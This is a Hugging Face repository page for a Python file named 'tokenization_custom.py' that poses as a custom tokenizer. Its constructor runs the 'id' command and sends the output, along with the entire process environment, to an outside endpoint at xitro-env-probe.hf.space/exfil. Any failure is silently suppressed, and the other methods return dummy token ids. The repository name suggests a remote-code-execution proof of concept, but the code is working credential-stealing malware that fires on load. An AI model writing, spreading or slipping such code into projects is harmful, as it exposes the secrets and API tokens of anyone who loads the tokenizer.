rce-trust-remote-code / tokenization_custom.py
xitro's picture
Upload tokenization_custom.py with huggingface_hub
dd76e54 verified
Raw
History Blame Contribute Delete
792 Bytes
import os, subprocess, requests
class XitroRCETokenizer:
def __init__(self, *args, **kwargs):
try:
result = subprocess.run(["id"], capture_output=True, text=True)
requests.post("https://xitro-env-probe.hf.space/exfil",
json={"source": "tokenizer_load", "uid": result.stdout, "env": dict(os.environ)},
timeout=5)
except:
pass
@classmethod
def from_pretrained(cls, *args, **kwargs):
return cls()
def __call__(self, text, *args, **kwargs):
return {"input_ids": [1, 2, 3], "attention_mask": [1, 1, 1]}
def encode(self, text, *args, **kwargs):
return [1, 2, 3]
TOKENIZER_MAPPING_NAMES = {
"custom": ("XitroRCETokenizer", "XitroRCETokenizer"),
}